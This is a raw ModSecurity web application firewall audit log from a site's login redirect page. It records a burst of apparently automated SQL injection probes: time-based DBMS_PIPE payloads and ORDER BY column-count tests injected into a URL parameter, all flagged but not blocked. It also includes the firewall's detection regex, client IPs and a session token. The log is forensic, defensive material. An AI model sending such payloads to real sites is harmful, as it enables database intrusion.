cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505399ed91218bf-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --97a57571-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20AND%208241=DBMS_PIPE.RECEIVE_MESSAGE(CHR(77)CHR(70)CHR(78)CHR(118),5)--%20jnwp Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --97a57571-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 8241=dbms_pipe.receive_message(chr(77)||chr(70)||chr(78)||chr(118),5)-- jnwp found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now and 8241=dbms_pipe.receive_message(chr(77)||chr(70)||chr(78)||chr(118),5)-- jnwp"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 8241=dbms_pipe.receive_message(chr(77)||chr(70)||chr(78)||chr(118),5)-- jnwp found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now and 8241=dbms_pipe.receive_message(chr(77)||chr(70)||chr(78)||chr(118),5)-- jnwp"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89wgiLzf5Jb_3uGhHgEgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023618681110 198982 (- - -) Stopwatch2: 1750023618681110 198982; combined=3865, p1=446, p2=3290, p3=0, p4=0, p5=128, sr=107, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --97a57571-Z-- --c5ec855b-A-- [16/Jun/2025:03:10:19.625300 +0530] aE89w1R6EeXjkGzEkbllHgAAAAs 172.71.172.115 36986 127.0.0.1 7081 --c5ec855b-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%29%20ORDER%20BY%201--%20ghNN HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.172.115 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950539a4f9a1d39e-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --c5ec855b-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now)%20ORDER%20BY%201--%20ghNN Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --c5ec855b-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 1-- ghnn found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now) order by 1-- ghnn"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 1-- ghnn found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now) order by 1-- ghnn"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89w1R6EeXjkGzEkbllHgAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023619410408 214984 (- - -) Stopwatch2: 1750023619410408 214984; combined=3077, p1=366, p2=2574, p3=0, p4=0, p5=136, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c5ec855b-Z-- --26110a2e-A-- [16/Jun/2025:03:10:20.952108 +0530] aE89xAiLzf5Jb_3uGhHgEwAAAAA 162.158.111.90 37024 127.0.0.1 7081 --26110a2e-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%29%20ORDER%20BY%201092--%20OKcx HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.111.90 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950539abd80a1901-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --26110a2e-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now)%20ORDER%20BY%201092--%20OKcx Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --26110a2e-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 1092-- okcx found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now) order by 1092-- okcx"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 1092-- okcx found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now) order by 1092-- okcx"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89xAiLzf5Jb_3uGhHgEwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023620757037 195177 (- - -) Stopwatch2: 1750023620757037 195177; combined=2718, p1=321, p2=2194, p3=0, p4=0, p5=202, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --26110a2e-Z-- --d5899169-A-- [16/Jun/2025:03:10:22.049019 +0530] aE89xXZqyQ8YfVGvJU7Y5gAAAAY 162.158.95.55 37092 127.0.0.1 7081 --d5899169-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20ORDER%20BY%201--%20iAQS HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.95.55 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950539b428ec37da-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --d5899169-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20ORDER%20BY%201--%20iAQS Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --d5899169-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 1-- iaqs found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now order by 1-- iaqs"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 1-- iaqs found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now order by 1-- iaqs"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89xXZqyQ8YfVGvJU7Y5gAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023621844282 204840 (- - -) Stopwatch2: 1750023621844282 204840; combined=2755, p1=341, p2=2284, p3=0, p4=0, p5=129, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d5899169-Z-- --483a0b7e-A-- [16/Jun/2025:03:10:23.406972 +0530] aE89x9kGqt_oHz6gRVdJPQAAAAw 172.70.240.43 37196 127.0.0.1 7081 --483a0b7e-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20ORDER%20BY%205002--%20ZrLU HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.240.43 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950539bafecfe7ae-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --483a0b7e-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20ORDER%20BY%205002--%20ZrLU Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --483a0b7e-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 5002-- zrlu found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now order by 5002-- zrlu"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 5002-- zrlu found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now order by 5002-- zrlu"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89x9kGqt_oHz6gRVdJPQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023623174151 232925 (- - -) Stopwatch2: 1750023623174151 232925; combined=3022, p1=388, p2=2516, p3=0, p4=0, p5=118, sr=114, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --483a0b7e-Z-- --070af637-A-- [16/Jun/2025:03:10:24.133032 +0530] aE89x32GhYywD7zZgx76awAAAAM 172.71.144.128 37254 127.0.0.1 7081 --070af637-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%29%20ORDER%20BY%201--%20mknK HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.144.128 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950539c13ecfdbf2-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --070af637-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now)%20ORDER%20BY%201--%20mknK Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --070af637-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 1-- mknk found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now') order by 1-- mknk"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 1-- mknk found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now') order by 1-- mknk"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89x32GhYywD7zZgx76awAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023623940011 193133 (- - -) Stopwatch2: 1750023623940011 193133; combined=3896, p1=376, p2=3343, p3=0, p4=0, p5=176, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --070af637-Z-- --ba78004a-A-- [16/Jun/2025:03:10:25.281915 +0530] aE89yYrLgrklqy57Kk2cbQAAAAg 172.69.150.245 37322 127.0.0.1 7081 --ba78004a-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%29%20ORDER%20BY%203455--%20xKOm HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.69.150.245 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950539c80d1e4dc1-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --ba78004a-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now)%20ORDER%20BY%203455--%20xKOm Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --ba78004a-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 3455-- xkom found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now') order by 3455-- xkom"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: order by 3455-- xkom found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now') order by 3455-- xkom"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89yYrLgrklqy57Kk2cbQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023625030000 252038 (- - -) Stopwatch2: 1750023625030000 252038; combined=3945, p1=328, p2=3496, p3=0, p4=0, p5=121, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ba78004a-Z-- --75c6a416-A-- [16/Jun/2025:03:10:26.248265 +0530] aE89ygiLzf5Jb_3uGhHgFwAAAAA 172.71.148.119 37388 127.0.0.1 7081 --75c6a416-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%20ORDER%20BY%201--%20BrMn HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.148.119 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950539ccea59dc9d-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; 